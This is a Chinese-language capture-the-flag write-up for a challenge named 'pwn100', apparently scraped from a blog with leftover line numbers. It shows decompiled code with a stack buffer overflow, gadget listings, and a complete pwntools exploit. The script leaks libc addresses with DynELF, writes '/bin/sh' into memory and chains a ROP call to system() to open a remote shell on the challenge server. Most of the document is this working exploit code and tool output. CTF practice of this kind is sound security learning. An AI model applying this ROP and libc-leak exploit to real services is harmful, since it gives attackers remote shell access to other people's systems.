pwn100

源码漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]

sub_40063D((__int64)&v1, 200);
return puts("bye~");
}

__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
signed int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= a2 )
break;
read(0, (void *)(i + a1), 1uLL);
}
return result;
}
栈溢出漏洞

攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
无libc  无system 无bin/sh
xfgg@ubuntu:~/Downloads$ ROPgadget --binary pwn100 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040075c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400760 : pop r14 ; pop r15 ; ret
0x0000000000400762 : pop r15 ; ret
0x000000000040075b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400595 : pop rbp ; ret
0x0000000000400763 : pop rdi ; ret
0x0000000000400761 : pop rsi ; pop r15 ; ret
0x000000000040075d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e1 : ret
0x00000000004005c5 : ret 0xc148

Unique gadgets found: 12

puts只需要一个参数,所以找到pop rdi; ret传参更方便
0x0000000000400763 : pop rdi ; ret

找到可写入bin/sh的地址
gdb-peda$ vmmap
Warning: not running
Start End Perm Name
0x004004c8 0x0040077d rx-p /home/xfgg/Downloads/pwn100
0x00400238 0x00400904 r--p /home/xfgg/Downloads/pwn100
0x00600e10 0x00601068 rw-p /home/xfgg/Downloads/pwn100

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
io = remote('111.198.29.45',54701)
#io = process("./pwn100")
elf = ELF("/home/xfgg/Downloads/pwn100")

rop1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
rop2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000


def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56 #rop2结束又跳转到rop1,需要再填充7 * 8字节到返回地址
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
# gdb.attach(io)
io.send("/bin/sh\x00")

payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)

io.interactive()
0%